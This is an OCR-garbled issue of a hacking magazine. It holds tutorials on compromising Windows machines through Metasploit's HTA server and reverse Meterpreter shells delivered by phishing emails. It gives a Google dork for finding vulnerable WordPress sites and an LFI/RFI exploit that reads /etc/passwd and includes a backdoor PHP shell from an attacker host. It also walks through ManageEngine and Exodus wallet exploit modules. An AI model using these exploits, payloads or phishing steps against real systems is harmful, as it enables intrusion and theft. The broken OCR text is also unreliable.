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Editor's Note

Hello Readers.Thank you for subscribing to our
Hackercool Magazine. We are very delighted to relea
-se the sixth issue of first edition of Hackercool maga-
ine.

Let me introduce myself. My name is Kalyan
Chakravarthi Chinta and | am a passionate cyber sec
-urity researcher (or whatever you want to call it). | am also a freelance cyber s-
ecurity trainer and an avid blogger.But still let me make it very clear that | don't

consider myself an expert in this field and see myself as a script kiddie.

Notwithstanding this, | have my own blog on hacking, hackercool.com.
This blog has a dedicated Facebook page and Youtube channel with name
"Kanishkashowto". | also developed a vulnerable web application for practice
"Vulnerawa" which can be very helpful for beginners to practice website securi

This magazine was started with an ambition to deal with real world hackin
-g. In simple terms this means hacking as close to reality as possible, both blac
-k hat and white hat. You will find that our magazine will be helpful not only to
the beginners who want to come into field of cyber security but also experts in
this field. This magazine is also helpful to people who want to keep themselves
safe from the malicious hackers.

The main focus of this magazine is dealing with hacking in real world scen
-arios. i.e hacking with antivirus and firewall ON. My opinion is that we cannot i-
mprove security consciousness in users until we teach them the real world hac
-king.

In continuation of our Real World Hacking Scenarios, in this issue we will le
-arn another way of hacking a computer on a different network. This scenario
will once again use the lab we created in the Installit section of Feb 2018 Issue.
Unlike the previous scenario, this time we will be using a local exploit which ha-
s more chances of success in secured networks.We are sure our readers will
not only enjoy this Real World Hacking Scenario a lot but also learn a lot from
it. Apart from this we have included all our regular featues.

If you have any queries regarding this magazine or want a specific topic
please send them to our mail address qa@hackercool.com and please don't
forget to like our Facebook page "Hackercool”. Until the next issue, Good Bye.

o hchakrasartht
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REAL WORLD HACKING SCENARIO )

Hacking A System On A Different Network

4 WARNING: h
This Tutorial is for educational purpose only. Usage of this
tutorial for hacking into targets without permission is strictly
illegal. The author does not take responibility for the misuse

of this tutorial.

N J
Hi,l am Logan Hunt, not Hackercool. | repeat | am Logan Hunt, not Hackercool. Although | h
-ave some notable hacking skills, but | still consider my skillset beginner level.In this issue, w
e will see a hacking scenario based on a Real World Network. For this scenario, we will be
using the same Real World Hacking Lab we used in our Mar 2018 issue (The lab we created
in FEB 2018 Issue). The network was setup as shown below.One minute change though. In

KALILINUX

1P:192.168.136.20

1P:192.168.221.10 CIEAROS

_!
WINDOWS 7|

1P:192.168.221.9

the place of Windows XP we have Windows 7.
This scenario alongwith the scenario in our previous issue is an answer to many of our
readers requests to create a Real World Hacking Scenario based on a Real World Network.
[The scenario also explains our readers one case how to hack a system outside a network. In
lour previous Real World Hacking Scenario we have learnt about Misconfiguration Attack. Thi
s attack took advantage of some misconfigurations made by the victim users in their networ-
k.But what do we do if there are no misconfigurations in our target network? We are talking
about a network with no misconfigurations and vulnerabilities. Let us see one scenario as to
how this networks are hacked.

Before we start the hacking scenario, let me give you a brief summary of our hacking lab
\we created in one of our previous issues. Kali Linux is our attacker system (the system from
which we will try to hack other systems). ClearOS is a machine on the same network as Kali
Linux and acts as a router or gateway. Windows 7 is our victim machine which is a part of an
internal network of ClearOS and unknown to our attacker system. The IP addresses of the
machines in our Real World Hacking Lab are

Kali Linux (attacker system) - 192.168.221.9
ClearOS (Gateway) - 192.168.221.10
Windows 7 (victim) - 192.168.136.20

In this scenario, our victim Windows 7 is with FIREWALL ON and with no vulnerabilities (atle-
ast not any remote vulnerabilities). Let us begin the story.One fine day | decided to hack som
-ething. | was not in the mood to scan networks and find some systems with vulnerabilities.




hat would be a cumbersome and time consuming task. It would be a good idea to make the

ictim come to me. | am talking about local exploits (The exploit we used in our previous issu
le's Real World Hacking Scenario is a remote exploit which is well known). Nowadays almost
iall networks are firewalled to the point of blocking even echo requests (ping request).In many
networks, firewall blocks the machines outside the network from making connection requests
to the systems in the LAN but allow the LAN systems access to the external network (interne
+t) There may be various reasons for doing this but the most common reason is that the user
iworking on that system requires internet access for his work. So generally firewalls monitor
traffic coming into the network than that of traffic going out of the network.

| want to take advantage of this. For this | need a LOCAL exploit that works on majority
of Windows Systems. Local exploits don't need any scanning of systems and this helps in ke
leping our signature on the target system almost to nothing thus arousing less suspicion. Sin
-ce users normally connect to numerous websites, our hack may also go unnoticed although
a detailed cyber forensics could nail me.

As already told, | wanted to target Windows systems as this is the most popular operati
-ng system and this gives us more probability for our hack to be successful. | decided to use
@ Metasploit exploit for this. Metasploit has many local exploits for various targets.| wanted a-
n exploit that works on operating systems from Windows XP to Windows 10.

The hta web server looked like a good one. This module hosts a malicious HTML appli
-cation (HTA) that when opened will run a payload via Powershell.(HTML stands for Hyper T-
lext Markup Language. This is the basic language used in websites). Malicious HTML applica
+tions have been around for over a decade now. This attacks are considered great against In
-ternet Explorer browser. It is because this browser opens a HTA file using mshta.exe which
is a signed Microsoft binary that allows us to call PowerShell and inject a payload directly int-
o memory.

This hta web server starts a web server and hosts a HTML application on that web ser
-ver. When a victim comes to our website, the hta file is executed on the victim's system.

etasploit Park, System Security Interface
Vi on 4.0.5, Alpha E
Ready. ..
> access security
access: PERMISSION DENIED.
> access security grid
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED....and...

=[ metasploit v4.1¢
[ 1777 exploits

[ e ]
1012 auxiliary - 308 post |
[ 538 payloads - 41 encoders - 10 nops i)
=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]



| started Metasploit and loaded the hta webserver module as shown below

msf > use exploit/windows/misc/hta_server

msf exploit( ) > info
Name: HTA Web Server
Module: exploit/windows/misc/hta_server
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Manual
Disclosed: 2016-10-06

Provided by:
Spencer McIntyre

Available targets:
Id Name

0  Powershell x86

1  Powershell x64

Basic options:
Name Current Setting Required Description

SRVHOST 0.0.0.0 The local host to listen on. This must be
an address on the local machlne or 0.0.0.0
SRVPORT 86080 yes The local port to listen on.
false Negotiate SSL for incoming connections
Path to a custom SSL certificate (default

is randomly generated)
2L

The URI to use for this exploit (default i
s random)

Payload information:
Space: 2048

Description:
This module hosts an HTML Application (HTA) that when opened will
run a payload via Powershell. When a user navigates to the HTA file
they will be prompted by IE twice before the payload is executed.

References:
https://www.trustedsec.com/july-2015/malicious-htas/

msf exploit( e |

| chose the windows/meterpreter/reverse_tcp payload. | set the SRVHOST, LHOST IP option
-s as shown below. It is the IP address of my Kali Linux system. Executing the module using
"run" command generates an url as shown in the image below.

It is this url which need to be delivered to our victims so that they click on it. This can b-
e done using Social Engineering technique. | am not going into detail about the social engine
-ering techniques | used here (We have seen some Social Engineering techniques in our pr-
levious issues). Let me explain you briefly about one method in which you can do it. First sho-
rten the url or masquerade it into something else. Then send a convincing email including ou
r URL in the body of the mail to our victims. By convincing | mean the content and the Subje
-ct of the email should not only persuade our victim to open the mail but also click on the url

e included in the body of the mail.




msf exploit( ) > set vhost 192.168.221.9
srvhost => 192.168.221.9
msf exploit( ) > set payload windows/meterpreter/reverse_t

cp

payload => windows/meterpreter/reverse_tcp

msf exploit( ) > set lhost 192.168.221.9
lhost => 192.168.221.9

msf exploit( ) > run

[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.221.9:4444

msf exploit( ) > [*] Using URL: http://192.168.221.9:8080/
E3JvymIvffV61lP.hta

[*] Server started.

When the user clicks on the link we sent, a new window wi
isave this particular file.

@ Intemet Explorer cannot display the webpage - Windows Intemet Explorer

K () = |&] hitpy/152168.221 98080/E3hymIviVEIP.hta v |4 | X Bing P~
Favorites | 4 &) Sugge - e ery v
(o [ %iov B v I @ v Pagev Safety~ Took~ @+
‘ File Download - Security Warning =)
B nternet Explorer cannot display the
Do you want to run or save this file?
j Name: E3hymvfV6IP.hta
What you ca Type: HTML Application, 6.38KB

Y From: 192.168.221.9
Diagnose Connection Problems |

:> Aun Save Cancel ]

. Whil fles from the Intemet can be usefu, this file type can [
8 ootentially ham your comy you do rot trus the source, do not ‘

o or save i satware. i’ the s

If the victim is benign and clicks on "Run", we will get a Meterpreter session on the target sys
-tem as shown below. It took me a bit longer to get this session on my target. This session
icame from a machine with IP address 192.168.221.10.

) > [*] 192.168.221.160 hta_server - Deliver

*] 192.168.221.10 hta server - Delivering Payload

*] Sending stage (179779 bytes) to 192.168.221.10

*] Meterpreter session 1 opened (192.168.221.9:4444 -> 192.168.221.10:49171) at
2018-06-30 10:41:59 -0400

st exploit( ) > 11




Note that enabling or disabling the Firewall on our victim system doesn't affect this hack
much and the hack will definitely work.

Since | have been directly taken out of the meterpreter session, | use the command
isessions -| to have a look at my sessions.

msf exploit( ) > sessions -1

Active sessions

Id Name Type Information
nnection

1 meterpreter x86/windows WIN-BI3UK55VF6A\admin @ WIN-BI3UK55VF6A 19
2.168.221.9:4444 -> 192.168.221.10:49171 (192.168.136.20)

msf exploit( I |

hen | got into that session using command sessions -i 1 command. The sysinfo command
revealed to me that it is a Windows 7 system and | have just user privileges. Hmm, probing a
~round this network would be interesting.

msf exploit( ) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sy51nfo

Computer : WIN-BI3UK55VF6A

0s : Windows 7 (Build 7600)
Architecture 1 x86

System Language : en_US

Domain : WORKGROUP

Logged On Users : 1

Meterpreter : x86/windows
meterpreter > getuid

Server username: WIN-BI3UK55VF6A\admin
meterpreter > |




INSTALLIT

[The makers of Kali Linux have released their new version of Kali Linux 2018.2 this month.Thi
s is the first Kali release to include the Linux 4.15 kernel, which consists of the x86 and x64
ffixes for the Spectre and Meltdown vulnerabilities.This release also provides better support
ffor AMD GPUs and support for AMD Secure Encrypted Virtualization which allows for encryp
Hing virtual machine memory. This in addition to lot of updated versions of tools like hashcat,
Bloodhound, Reaver, PixieWPS, Burpsuite etc.

Just like their previous versions, Kali Linux has been released in various formats like
iso and virtualization images Vmware image and Vbox image. In this tutorial, we will see how
fto install the OVA file of Kali Linux in Vmware. Download the Vmware OVA image of Kali Lin-
lux form here.We suggest you to use the torrent for downloading it to prevent corrupted file pr
l-oblem. Here we are installing the Kali Linux 32 bit VMware VM PAE image in Vmware Work
-station 12.

Once the download is finished, you will be getting an OVA file in the Downloads folder.
Now we have to import this OVA file into Vmware. Open Vmware and from the File Menu, cli-
ick on Open (or just open Vmware and HIT Ctrl+O).

5 — 5 X

WORKSTATION" 12

+ (] ® )

Crese a New Open a Vitual Connect 08
Virtal Machine Macrine Remote Server Vhware vCloud Air

[This will open a New Window. In that window navigate to the location of the OVA file we just
idownloaded. Once you are there, click on the file to start importing it into Vmware as shown
in the image below.

( Linux kernel 4.15 comes with lot of new features )
like support for Radeon RX Vega cards for gamers,
temperature support for CPU & graphics and
support for RISC-V architecture.
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IAs soon as you click on it, the Import Virtual Machine window opens. This has settings relate
d to the name of the virtual machine and location where the virtual machine needs to be stor
l-ed. You can change them or leave the default values as it is. Click on Import.

3

Fie B View WM Tbe e (ol=F%}

'WORKSTATION 12

(&)

a Connectto
Server Vhware vCioud Air

We have changed the name of this virtual machine to kali2018.2-vm as shown below.

rSpectre and Meltdown are hardware vulnerabilities)
that exist in computer chips manufactured since
the last 20 years. They exploit features in the chips
which allow them to run faster.

N /
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WORKSTATION" 12

IAfter clicking on Import, the importing process starts as shown below. This may take a lot of
time. So have a tea break or even have your meals. It is still OK.

Fe Bt View W Tobn Hdp | | - o=t
Loy x

WORKSTATION" 12

+ & ® &

Crestea New Open aVirtal Comecttos Comneatto
Virtsl Machine Machie __ Remote Server Viuare vCioue A

st 08 2
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IAfter the importing process is finished, a virtual machine is automatically created as shown b
+elow. No need to assign RAM or any other system specifications.

e P e a0
Meltdown vulnerability is named so because it "melts"

security boundaries enforced by hardware. By exploiting
this vulnerability, hackers can use a program running on a
machine to gain access to all the data on that machine which
should normally be off limits to the particular program.

. i




Power ON the system. When the system is powered ON, we are taken to the Login Screen.
Enter username. The default username is root.

EE X —z

o it oo e

[Then we are taken to the password screen. Enter password. The default username is toor. O
+nce you enter password, click on Sign In.

Spectre allows attackers to steal data about the
particular program running which normally should stay
secret. Although it needs a little bit of more effort from

hackers, it works on any chip available and is difficult to
stop.




‘e are taken to the desktop of Kali Linux 2018.2 as shown below. No need of installing any
ther complex confi gura ns. Just all ready to practice hacking.

Help us make this magazine more awesome.
Send your suggestions to
qa@hackercool.com




LEARNIT

Many people are ignorant of the fact that Kali Linux has a default Apache web server built int
o it. This web server may not be normally used to host websites but may be pretty useful in
penetration testing to host web shells and other files which need to be uploaded into target m
achines. One of our blog readers asked us a question as to how the web server in Kali Linux;

an be started. So today's Learnit feature will be about this topic only.
We are doing this tutorial on recently released Kali Linux 2018.2. In some of the previou-
's versions of Kali Linux, the web server can be started from "system services" option of the
Kali Linux Menu. However in most recent releases, this is not listed in the Menu.

:~# service apache2 start
e |

o verify whether the web server started or not, open the browser and type "localhost" in the
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Apachu2 e Dot Poge t ek - M P coo0

Apache2 Debin Default . x | Kall Lnux,an Offenshe S.. x |+
€ ©|localhost *e 3 a9 =

aost Vst BROensive Securty Kl L\ Kol Docs Kl Tols & Explo:DB. W Acraceng ZUKal Forums \NetHuter Kol Tranng @ Getng Stared

o Apache2 Debian Default Page

This is the default welcome page used Lo test the correct operation of the Apache2 server after
installation on Debian systems. If you can read this page, it means that the Apache HTTP server
installed at this site is working properly. You should replace this file (located at /var /uw
/heal/index. html) before continuing to operate your HTTP.

If you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavallable due to maintenance. If the problem persists, please contact the
site's administrator.

Co Overvi |
Debians Apache? default configuration s diferers fom the upsream defaut configuration, and splt o
severai les optimized fo nteaction with mmmms e confiurationsysem i fully documante

o ths for the.
Documentaton o the e sarer R4GH con bt oo by accassing the AT e apachez-doc
package was installed on this server.
The configuration layout for an Apache2 web server installation on Debian systems is as follows:

fetc/apaches/ |
apache2. cant

Choose What | Share_| x|

[} operence
If you get the webpage as shown in the above image, your web server has started and succe
+ssfully running (This is the default index page). It's good. To host something on this web ser-
iver, we need to find where its root directory is. Root directory is the directory where all the fil-
les of a website are stored.

Linux has a command to search for any file you want. Open terminal and type command
locate www to search for all files named www. The name 'www' is the common name used fo
I-r root directories in web servers. As you can see in the image below, our root directory is
Jvar/www/html. Use command cd to move into that sirectory and do an Is. You should see

the default index page.

root@kali: var/www/htmt

View Search Teminal_Help




LORD'S & TAYLOR, SAKS, SAKS FIFTH AVENUE

HACKS OF THE MONTH

ISaks and Saks Fifth Avenue are a group of
luxury department stores owned by parent co
Fmpany Hudson Bay. The name fifth avenue i
s attributed to the location of the store in Fift-
h Avenue, Midtown Manhattan, New York.
Lord's & Taylor is also a departmental store
located in New york which is also owned by t-
he parent company Hudson Bay. Hudson Bay
is considered one of the oldest companies in
USA.

What?

Data related to over five million credit card an
-d debit card numbers of the customers of Sa
ks, Saks Fifth Avenue and Lord's & Taylor ha
e been compromised and and kept for sale.

IAlthough we have seen larger data breaches

jof credit card and debit card numbers recentl-
ly, this breach can still be considered one of th
e biggest heists in modern data breach histor
y. Almost all of the Lord's and Taylor stores a
-nd over 83 US based Saks Fifth Avenue loca
-tions have been compromised. Gemini Advis
-ory the cyber security firm which detected thi
-s breach has reported that majority of card n-
umbers came from NewYork and New Jersey

How?

Gemini Advisory, the cyber security firm whic-
h has detected this breach were watching a n
otorious website known for selling stolen cre-
dit card data and have observed that they wer
e selling a new cache of credit card data.

On further research to find out as to where
that data came from, the firm concluded that
the credit card numbers belonged to Saks, Sa
ks Fifth Avenue and Lord's & Taylor custome
+rs. They then informed the parent company a
bout the data breach.

jar 2015.

...The hackers probably
installed malware in the cash
register systems used at the

IThe cyber security firm also said that the data

was stolen between May 2017 and March 20-
18. It clearly implies that hackers were almost
in the targeted network for almost a year.

Hackers got into the networks of these stor’
es by using spear phishing attacks on the em
-ployees of these stores (Spear Phishing is a-
n attack where specially crafted emails are se
-nt to the chosen victims to persuade them to
open the emails).As soon as the victim's open
-ed these mails, the software was implanted t
-0 collect data.

... This is the same hacking
group which has reportedly
hacked many other companies
like Chipotle, Omni Hotels &
Resorts, Trump hotels etc.

Who?
The website we discussed above belonged to
a notorious group of Russian speaking hacke
-rs known as Fin7 or JokerStash. Their websit
-e was more famous as JokerStash. This is
the same hacking group which has reportedly
hacked many other companies like Chipotle,
Omni Hotels & Resorts, Trump hotels, Whole
Foods etc. JokerStash posted that it recently
obtained a cache of over five million credit car
-ds which they termed as BIGBADABOOM.Th
-ey offered 1,25,000 records for immediate sa
-le. This is a normal process as hackers tend
to sell stolen data in batches to prevent the s-
ource of the breach from being detected.
Even though JokerStash has a history of
data breaches to its credit, nothing much is k-
nown is about the members of the group.
ftermath
The company announced about the breach a-
nd also announced that the vulneability has b
-een identified and contained. It has also offer
-ed free identity protection services to its cust-
omers as the investigation is still goes on.lt al
-so seems that the company is shifting to a co
-mputer chip authenticated payment EMV whi
-ch most retailers use to prevent data stealing




4 FILE INCLUSION VULNERABILITY IN WP WITH SPRITZ 1.0 N

WEB SECURITY

\ _J
/s i Jo ible to imagii ything without a website nowadays. Whether you N
/are a blogger with a passion or a small firm, a is pulsory to maintain an )
|online presence. The cost effectiveness and simplicity to set up a webs:te has further
(fuelled the growth of websites. From being simple static pages to dynamic pages with
multiple eye ing features, websites have come a long way. What started with a
simple html code turned into iplex code involving various scripting I wi
-th advanced functionality came some serious vulnerabilities also. Most of the data
breaches that occurred last year included stealing data from their websites. Hackers
began to show a special interest in web servers as they are relatively easy to get into
a company's network or gather more info about the company.

This new ion has been introduced to [ d various vulnerabilities a
| may in and d how those vulnerabilities can be exploited. Of c-
'\?urse from a real world perspective.

Hello aspiring hackers.This month we will learn about a Wordpress plugin with both Local file
inclusion and Remote file inclusion vulnerabilities. This plugin is a Wordpress plugin named
WP with Spritz version 1.0.
Local File Inclusion (also known as LFI) is the vulnerability which allows hackers to in-
iclude (to view) files that are locally present on the server. This vulnerability occurs when a pa
I-ge receives, as input, the path to the file that has to be included and this input is not properly
Isanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected.
Simply put, it is a vulnerability in a web server or website which allows a hacker to view
ffiles on the remote system (where the web server is setup) which ought not to be seen.LFl is
lalso known as directory traversal as folders are generally referred to as directories in Linux.
File Upload or Remote File Inclusion is a vulnerability in websites that allow hackers to
lupload a malicious file into the web server that actually should not be allowed. This malicious
ffile can be anything from a virus to a shell.Normally these types of vulnerabilities exist in web
-sites that require a file upload feature. For example, imagine a website for those seeking job
s like Monster. In order to apply for a job, you need to upload a resume. This resume can be
in a format like say .doc. If any person can upload a file other than .doc, it is called Remote
File Inclusion vulnerability. It is not necessary that RFI vulnerability should exist only when a
lupload form is present
Websites with this plugin installed can be found with this simple Google query as show
I-n below. The Google dork to find the websites with this plugin installed is
intitle:("Spritz Login Success") AND inurl:("wp-with-
spritz/wp.spritz.login.success.html")

Go gle intitle:("Spritz Login Success”) AND inurl:("wp-with-spritziwp.spritzlogin. & Q_ = m

Al Images  Videc ows e t T




his is how the page looks when we view the plugin page from the browser.

B index of Awordpressi.. % | &
€0 1921680113 E ) + a =
st visted v OHensie Securty N\ KallUnix "\ KallDocs \Kall Toals % Explot-D8 WAcrack-ng

Index of /wordpress/wp-content/plugins/wp-with-spritz

Name Last modified. Size Description
& Parent Directory

Qassets/ 20180611 02:34

bt 20180611 02:34

(2 readme.txt 2018-06-11 02:31 35K

(@ sprutzphp 2018-06-11 02:34 12K

Cews/ 2018-06-11 02:34

[# wp.spritz.contentfi.> 20180611 02:34 3.3K
) wp.spritzogin.suce..> 2018.06-11 02:34 1.0K

We can retrieve the file we want by appending the query url=/../../../../[etc/passwd to the url
http://192.168.41.139/wordpress/wp-content/plugins/wp-with spritz/wp.spritz.content filter.ph-
p? as shown below. The vulnerability exists in the wp.spritz.content.php file.

Mozilla Firefox

] ntpr192.stclpassd x | &

€0 15216841 138/worcpress/wp-contenyplugs/wp-wil-sprtzivp spri content terphy?url=1./_/L letclpasswe | C "e o=

i bost Visted v JROffensive Security *\ Kal Linux Kl Docs “\Kali Tools  Explot-DB WAircrack-ng

55: 61 Ipox:7
ssbinnologin q
yx13:1 www-data:x:33 backupx:3
list:x:38:38:Mailing List 30, gin gnats:x:41:41:Gnats Bug-Reporting System (admin):fvar
o a 7 n
Network M t ystemd. 1 Resolver,
bus 5. Bus Proxy,
1 14:Light Display
hi-autoipd:x:110:119:Avahi e 11:120:Avahi mDNS
d dnsmasqox:112:63534:c 3:123:colord colour
14:29:Speech Dispatch hplip:x:115:7:HPLIP system user, var/run/hplipi/binfalse
kernoops:x:116:655; Gops Tracking Daemon, //bin/false pulse:x:11 » 161 Ki,. [proc:
10:1 brawxx:12 daemon,. user Momefuser] /bin/bash
‘mysqlx:999:999: omemysql

IAs you can see in the image shown above, we can see the shadow file of the target system

Want any specific website hacking tutorial? Send us |
L your request to ga@hackercool.com

/




in our browser. We can also execute a remote file on the target web server by attaching the
url where the malicious file is present to the url http:/192.168.41.139/wordpress/wp-content/
plugins/wp-with spritz/wp.spritz.content.filter.php?. Here | am hosting the most simple shell
isimple-backdoor.php on the web server of Kali Linux. So | have added

furl= http /1192.168.41. 128I5|mple -backdoor. php to the url as shown in the image below.

Mazilla Firefox 0

3 tp192...ckdoorphp % | [ Log nto Facebook | .. x| %

€0 s plughs/iwp.with /192168 A1 128/skmple backdoorphp v C |9 Sea 4B O 4 =
52 Most isited v IOffensive Security "\ Kali Linux \Kali Docs \Kal Tools “ Explit-08 WArcrackeng
Usage: hitpi/target.

IAs we have successfully executed a shell, let us now see where the vulnerable code is. In th-
e file wp.spritz.content filter.php, there is a line of code highlighted below. As you can see, thi
s code is not using any filters or sanitizing code. The url is calling the contents directly which
results in the vulnerability directly.

[<?php

hflisse :g; GEI['url ]EZ(
Scontent=f1le_get_contents(S_GET['url']);

Scontent = preg_replace('/<!--spritz-->.*?<!--\/spritz-->/is', '', S$content);

ssel=tsset(S_GET['selector'])?$_GET['selector']:

Sselector=array_filter(explode(” el));

[Lf(is_array(Sselector) && sxzeof(s,elector))c)(

foreach($selector as $val){
Ssplter=array_filter(explode('."',Sval));
Sids=array_filter(explode('|',$val));
if(substr(Sval, 0, 1)=="|"' || substr($val, 6, 1)=="."){

Stag=(isset(sids[1]) && $ids[1]l='')?5ids[1]: Ssplter[l],
Sselector=(isset(Sids[1]) && Sids[1]!='')?'1d" :'class’
Skey Stag;

ntent=preg_replace('/<div[~>]*'.Sselector. '=[\'|"]*[*<]'.Skey. ' [*>]*
[\ 1" 10A>]*>([~<]+ < (7'\/7d1v[A>]*>)\<d1v[ﬂ>]*>(7>(71))*<\/d1v>)*<\/d1v>/\ ", Scontent);

Scontent=preg_replace('/<article[*>]*'.$selector.'=[\'|"]*[*<]'.Skey.'[">

[\ 1" 107>1*>([~<]+ ;<(7l\/7art1cle[”>]'>)\<art1cle[‘>]'>(7>(’1))‘<\/art\cle>)'<\/artlc1e>/l !

Scontent);

$content=preg_replace('/<header[~>]*'.$selector.'=[\"'|"]*[*<]". $key '[A>]

[\'["1[*>1*>([*<]+|<(21\/?header [*>]*>) | <header [*>]*>(2?>(21))*<\/header>)*<\/header>/1', "",

scontent);

Scontent=preg_replace('/<nav[~>]*'.Sselector.'=[\'|"]*[*<]'.Skey. [*>]*

[\ ["1["~>]1*>([*<]+]< (71\/7nav[“>]*>)\<nav[ﬂ>]*>(’>(’1))*(\/nav>)*<\/nav>/l "", Scontent);
ntent=preg_replace( ' /<footer[~>]*".Sselector. '=[\'|"]*[~<]’ -Skey.'[">]

[\ 1"10%>1%>(["<]+]< (>-\/7footer[A>]*>)|<faoter[A>]*>(>>(>1))*<\/fuater>)~<\/foozer>/\
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FACEBOOK CAMBRIDGE ANALYTICA SCANDAL

HACKSTORY

Afew year-s back, when ['logged in into my F-
lacebook account, | happened to see a post p-
fosted by one of my students of cyber security
[The post was his status saying that he was e-
lating watermelon with some of his friends.His
s post really made me curious.Not because th
s guy was eating watermelon with his friend-
[s but because Facebook has upgraded its fea
tHures to let users do this in this way. Althoug-
t-h | have nothing against social media, | alwa-
s had a feeling that Facebook was collecting
ftoo much information already of its users. Fro
m what they like to their personal information
it stores a hell lot of information about a user.
[That is the reason why even though its not a

part of my cyber security classes, | always ad
f-vise my students to pos
tt as much less informa

themselves and their
personal life on
Facebook.
Fr—
[Cambridge Analytica is a political consulting f
Hrm created by Steve Bannon in 2012 with fu-
nding from Rebekah and Robert Mercer (both
fof them conservative donors). Steve Bannon
ho was instrumental in getting the funds fro-
m the above mentioned donors, became the
ice President of the firm. During the 2016 A-
merican Presidential campaign, Bannon got i-
nto contact with Donald Trump and even bec-
fame the Senior advisor to Donald Trump for a
period of time.
—
On March 2017. the London Observer an-
{d New York Times reported that a firm named
ICambridge Analytica acquired personal data
belonging to millions of Facebook users. The-
also reported that they got this information f
t-rom Christopher Wylie, whistleblower turned
fformer employee at Cambridge Analytica. Ac-
[cording to reports, Cambridge Analytica got d

A loophole in .
Facebook api allowed this
(ion as possible about app to not on y collect data of nce the voters in their f
users who took the quiz, but -avour during the Presi
also their friends who did not -dential campaign alth-

take this quiz.

data of almost 87 million users. The company
acquired this data in early 2014 with the help
of Alexandr Kogan, a Russian American rese-
archer who works at Cambridge University. A-
lexandr Kogan developed a Facebook app na
-med "thisisyourdigitallife” which is a normal q
-uiz for Facebook users about their digital life.
Over 2,70,000 users exchanged their data by
taking this quiz. But here comes a twist. A loo
-phole in Facebook api (application programm
-ing interface) allowed this app to not only coll
-ect data of users who took the quiz, but also
their friends who did not take quiz. Like this, t-
he firm collected data of over 87 million user
profiles.
But why exactly did Cambridge Analytica
acquire thsi data. It requ
-ired this data to influe-

ough it is not clear how
much this helped Donal
-d Trump to win the presidency.

This scandal created a lot of furore for F
-acebook than Cambridge Analytica. It brough
-t into question the security safeguards imple-
mented by Facebook to protect its users. The
shares of Facebook fell by a value of 14% in t
-he market. A campaign #DeleteFacebook wa
-s started soon. Facebook removed the app
"thisisyourdigitallife" and accused the firm for
violating the agreement of not using the collec
-ted data for commercial purposes.Cambridge
Analytica denied the accusation. Cambridge
Analytica lost many of its global clients and ev!
-entually shut its operations. Facebook apolo-
gized and announced that it will strengthen th
-e security measures. It sent emails to the aff-
ected users.

Fedkdkededkkdek
In one of my recent classes, | advised my stu-
dents to not post too much information online.




ManageEngine Manager RCE, Exodus Wallet RCE, GitStack V2.3.10 RCE and more

METASPLOIT THIS MONTH

Welcome to this month's Metasploit This Month. We are ready with some of the best latest
Metasploit modules for Windows.

ManageEngine Application Manager RCE Module

[TARGET : Windows (all versions) TYPE : Remote FIREWALL : ON
ManageEngine Applications Manager as its name says is an application useful in monitoring
the various applications on a Windows system or Windows server. This module exploits a co
mmand injection vulnerability in the ManageEngine Application Manager product. Using this
lvulnerability, an unauthenticated user can execute a operating system command under the
power of SYSTEM user.

This module has been tested on Windows 7 with Firewall ON. Let us see how this mod
l-ule works. Start Metasploit and load the module as shown below.The "show options" comm
t-and shows us all the options that are required for this module to run.

msf > use exploit/windows/http/manageengine appmanager exec
msf exploit( ) > show options

Module options (exploit/windows/http/manageengine appmanager_ exec):

Name Current Setting Required Description

Proxies no A proxy chain of format type:host:port[
,type:host:port][...]

RHOST The target address

RPORT 9090 The target port (TCP)

SSL false Negotiate SSL/TLS for outgoing connecti
ons

TARGETURI / The URI of the application

VHOST HTTP server virtual host

Exploit target:
Id Name

0 Automatic

ISet the windows/meterpreter/reverse_tcp payload as shown below. As seen many times in
ur magazine, this creates a reverse meterpreter connection.

msf exploit( ) > set payload windows/met
erpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit( e |

his payload requires the LHOST and LPORT address on which the attacker system will liste
n to the incoming session.




Payload options (windows/meterpreter/reverse tcp):

Current Setting Required Description

EXITFUNC process Exit technique (Accepted: '', seh, threa
d, process, none)

LHOST The listen address (an interface may be
specified)

LPORT The listen port

Exploit target:

Id Name

©  Automatic

msf exploit( )

ISet the rhost and Ihost options. They are our target and attacker IP addresses respectively.
Use check command to test if the target is vulnerable or not.

msf exploit( ) > set lhost 192.168.41.14

4
lhost => 192.168.41.144

msf exploit( ) > set rhost 192.168.41.12
8

rhost => 192.168.41.128

msf exploit( ) > check

[+] 192.168.41.128:9090 The target is vulnerable.

msf exploit( ) >

IOnce the target is confirmed to be vulnerable, execute the module using the run command.
As you can see in the image below, we successfully got a meterpreter session on the target
isystem. Use getuid command to check the privileges we got. As expected, we have the privil
reged SYSTEM access.

nsf exploit( )
[*] Started reverse TCP handler on 192.168.41.144:4444

[*] Triggering the vulnerability

[*] Sending stage (179779 bytes) to 192.168.41.128

[*] Meterpreter session 1 opened (192.168.41.144:4444 -> 192.168.41.128:49324) a
t 2018-06-24 14:23:00 -0400

neterpreter >

neterpreter > getuid

Server username: NT AUTHORITY\SYSTEM
neterpreter > sysinfo

Computer : WIN-F4M7A1PMAAF

DS : Windows 7 (Build 7660).
Architecture 1 x64

5ystem Language : en US

Domain : WORKGROUP

_ogged On Users : 2

Meterpreter : x86/windows
neterpreter > f|




Exodus Wallet RCE Module
‘ARGET : Windows (all versions) TYPE : Local FIREWALL : ON

By now most of our users may be familiar with what a cryptocurrency wallet is. If you are not,
hen it is a software that stores both private and public keys and enables users to not only se
-nd and receive digital currency but also monitor their balance. If anybody wants to deal with
cryptocurrency like Bitcoin, he will definitely need a digital wallet.

Exodus wallet is one such digital currency wallet ranked among the top 10 cryptocurrency
allets of year 2018. This module exploits a remote code execution vulnerability in Exodus
allet versions 1.8.2-beta.3 and earlier, 1.7.10 and earlier, 1.6.15 and earlier. Let's see how

his module works.

Let us see how this module works.This module has been tested on Windows 7 with Fire
~wall ON. Start Metasploit and load the module as shown below.The show options comman
-d shows us all the options that are required for this module to run.
msf > use exploit/windows/browser/exodus
msf exploit( ) > show options

Module options (exploit/windows/browser/exodus):
Current Setting Required Description

SRVHOST ©0.60.0.0 y The local host to listen on. This must be|
an address on the local machine or 0.0.0.0

SRVPORT 80 yes The local port to listen on.

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate (default
